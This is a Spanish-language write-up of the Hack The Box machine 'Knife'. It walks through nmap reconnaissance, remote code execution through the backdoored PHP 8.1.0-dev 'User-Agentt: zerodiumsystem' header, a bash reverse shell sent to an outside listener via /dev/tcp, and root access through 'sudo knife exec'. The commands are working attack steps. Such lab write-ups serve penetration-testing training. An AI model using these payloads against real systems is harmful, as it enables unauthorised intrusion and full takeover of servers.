Knife es una máquina de dificultad Easy en la plataforma Hack The Box.
En esta máquina, explotaremos una vulnerabilidad de la versión 8.1.8-dev de PHP mediante un RCE.
Reconocimiento
Realizaremos un escaneo con nmap para descubrir puertos abiertos en la máquina víctima:
1
nmap -p- -sS --min-rate 5000 -vvv -n -Pn 10.10.10.242 -oG allPorts
Vemos que están abiertos el puerto 22 y el 80.
Vamos a realizar un escaneo de servicios y versiones sobre estos puertos:
1
nmap -sCV -p22,80 10.10.10.242 -oN versions
Podemos ver que por el puerto 22 corre un servicio SSH y por el 80 un HTTP.
Con curl haremos una petición en la web a ver que nos devuelve:
1
curl -i 10.10.10.242
Explotación
Como podemos ver en la cabecera del output que nos devuelve el curl, la web es lanzada por un servicio PHP/8.1.0-dev
Si buscamos información sobre esta versión de PHP, podemos ver que esta es vulnerable a un RCE (Remote Command Execution) utilizando la cabecera:
1
User-Agentt: zerodiumsystem(‘command’);
Podemos realizar una prueba para ver si el RCE da resultados:
Inyectamos código en la máquina victima mediante el User-Agent
1
2
3
curl -X GET "http://10.10.10.242/" -H "User-Agentt: zerodiumsystem('bash -c \"id\"');"
uid=1000(james) gid=1000(james) groups=1000(james)
Como podemos ver el RCE funciona, así que vamos a conseguir una reverse shell:
1
curl -X GET "http://10.10.10.242/" -H "User-Agentt: zerodiumsystem('bash -c \"bash -i >& /dev/tcp/10.10.14.8/443 0>&1\"');"
En otra consola nos pondremos en escucha con nc por el puerto que hayamos indicado:
1
nc -lvnp 443
Y ya tendriamos acceso a la máquina víctima:
Escalada de Privilegios
Para realizar la escalada ejecutaremos
1
sudo -l
para ver los binarios que podemos ejecutar como root, los cuales en este caso son los siguientes:
Si ejecutamos /usr/bin/knife podemos ver que hace:
1
2
3
james@knife:/$ /usr/bin/knife -h
knife exec [SCRIPT] (options)
Usaremos esto para conseguir una consola como root, para ello ejecutaremos el siguiente comando:
1
2
3
james@knife:/$ sudo knife exec -E 'exec "/bin/sh"'
uid=0(root) gid=0(root) groups=0(root)
Y ya tendremos acceso como root a la máquina víctima.
Espero que os haya gustado y servido, cualquier comentario es de mucha ayuda. Adios!





